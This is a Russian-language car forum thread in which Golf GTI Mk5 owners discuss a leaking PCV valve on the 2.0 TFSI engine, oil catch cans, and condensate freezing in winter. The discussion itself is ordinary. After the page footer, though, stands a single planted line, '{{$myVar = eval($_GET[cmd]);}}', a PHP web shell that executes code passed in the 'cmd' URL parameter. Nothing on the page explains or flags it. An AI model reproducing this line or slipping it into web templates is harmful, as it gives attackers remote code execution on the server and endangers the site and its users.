+ Ответить в теме
Страница 1 из 2 1 2 ПоследняяПоследняя
Показано с 1 по 10 из 12

Тема: PCV- раз и навсегда


  1. #1
    GTI-Racing white GTI is on a distinguished road Аватар для white GTI
    Регистрация
    18.08.2009
    Откуда
    Москва
    Машина
    GTI V
    Сообщений
    724

    PCV- раз и навсегда

    Камрады...
    2,0 TFSI GTI Mk5
    Вобщем, судя по угару масла и тому, что его периодически давит из-под крышки- снова PCV клапан не очень работает...
    Хочу решить проблему одним махом.

    Но вопрос как именно
    На сегодняшний день есть 3 решения.
    1) Обновлять клапан родной иногда
    2) поставить вот это. Как понимаю оно напрямую сообщает отверстия, через которые как раз фильтруется масло/воздух.

    3) улучшенный вариант 2- с маслопомойкой. Но и стоит +250$ (кит).

    собственно вопрос- у решения N2 какие минусы помимо экологии?
    Как я понял- два отверстия слева просто напрямую сообщаются- соответственно вся масляная пыль возвращается куда?
    :greengrocer:

  2. #2
    Супер Модератор Spaceman is a name known to all Spaceman is a name known to all Spaceman is a name known to all Spaceman is a name known to all Spaceman is a name known to all Spaceman is a name known to all Аватар для Spaceman
    Регистрация
    13.01.2009
    Откуда
    Moscow
    Машина
    GTI Overload
    Сообщений
    6,561
    у меня установлен маслоуловитель BSH
    два отверстия слева сообщаются как раз через уловитель, все г..но оседает в нем
    минус что зимой все равно ставить родной клапан
    Golf V GTI Overload почти сток...

  3. #3
    GTI-Racing white GTI is on a distinguished road Аватар для white GTI
    Регистрация
    18.08.2009
    Откуда
    Москва
    Машина
    GTI V
    Сообщений
    724
    Цитата Сообщение от Spaceman Посмотреть сообщение
    у меня установлен маслоуловитель BSH
    два отверстия слева сообщаются как раз через уловитель, все г..но оседает в нем
    минус что зимой все равно ставить родной клапан
    Из за замерзания паров воды в маслосборнике?

    меня интересует эффект от варианта №2. Каков он будет?
    :greengrocer:

  4. #4
    Супер Модератор Spaceman is a name known to all Spaceman is a name known to all Spaceman is a name known to all Spaceman is a name known to all Spaceman is a name known to all Spaceman is a name known to all Аватар для Spaceman
    Регистрация
    13.01.2009
    Откуда
    Moscow
    Машина
    GTI Overload
    Сообщений
    6,561
    Цитата Сообщение от white GTI Посмотреть сообщение
    Из за замерзания паров воды в маслосборнике?

    меня интересует эффект от варианта №2. Каков он будет?
    1. да
    2. без понятия, не думал даже
    Golf V GTI Overload почти сток...

  5. #5
    GTI-Racing BuK@ is on a distinguished road Аватар для BuK@
    Регистрация
    01.09.2012
    Откуда
    Minsk
    Машина
    GOLF GTI V (BPY)
    Сообщений
    50
    Цитата Сообщение от Spaceman Посмотреть сообщение
    минус что зимой все равно ставить родной клапан
    а, где замерзает конденсат?
    Ставлю универсальный маслоуловитель, естественно заглушки для отверстия во впускном нет, отсюда вопрос - в ориганальном комплекте заглушка глухая или в ней есть какое отверстие?
    Заранее спасибо.

  6. #6
    GTI-Racing BuK@ is on a distinguished road Аватар для BuK@
    Регистрация
    01.09.2012
    Откуда
    Minsk
    Машина
    GOLF GTI V (BPY)
    Сообщений
    50
    нда, судя по ответам, не у кого машины масло не кушают и впуски сухие и детские болезни всех обходят стороной.

  7. #7
    GTI-Racing sixtynine is on a distinguished road Аватар для sixtynine
    Регистрация
    12.08.2011
    Откуда
    Бобруйск-на-Амуре
    Машина
    Кролик
    Сообщений
    102
    где именно смотреть на наличие подтеков масла?
    где находится PCV?

  8. #8
    GTI-Racing BuK@ is on a distinguished road Аватар для BuK@
    Регистрация
    01.09.2012
    Откуда
    Minsk
    Машина
    GOLF GTI V (BPY)
    Сообщений
    50
    поставил универсальный маслоуловитель ( пока со стандартными шлангами. Скоро поменяю на более толстые маслостойкие ).
    Какулей в емкости собирается очень даже не мало. Шланг от маслоуловителя сухой. Пока результатом очень доволен. Жду зимы.
    P.S. если у кого есть опыт пользования маслоуловителем зимой, отпишитесь плиз.

  9. #9
    GTI-Racing Глум is on a distinguished road Аватар для Глум
    Регистрация
    13.06.2007
    Откуда
    Москва
    Машина
    Skoda vRS 3**hp
    Сообщений
    335
    Цитата Сообщение от BuK@ Посмотреть сообщение
    поставил универсальный маслоуловитель ( пока со стандартными шлангами. Скоро поменяю на более толстые маслостойкие ).
    Какулей в емкости собирается очень даже не мало. Шланг от маслоуловителя сухой. Пока результатом очень доволен. Жду зимы.
    P.S. если у кого есть опыт пользования маслоуловителем зимой, отпишитесь плиз.
    Стоял VTA BSH (в атмосферу дымыл), насобирав дофига влаги в себя после стояния ночью при заводке авто троила. Когда конденсат в бачке отогревался - ХХ выравнивался. Сток не ставил, просто чаще чистил этот бачок.

  10. #10
    GTI-Racing BuK@ is on a distinguished road Аватар для BuK@
    Регистрация
    01.09.2012
    Откуда
    Minsk
    Машина
    GOLF GTI V (BPY)
    Сообщений
    50
    ага, спасибо, тоесть, зимой тоже можно жить )))
    а то почистив впуск и клапана больше не хочу ставить сток.

+ Ответить в теме
Страница 1 из 2 1 2 ПоследняяПоследняя

Похожие темы

  1. Проект Audi ТТ 3.2 Turbo завершен навсегда!!!
    от VR32 в разделе Клубные машины
    Ответов: 27
    Последнее сообщение: 25.04.2019, 17:38

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}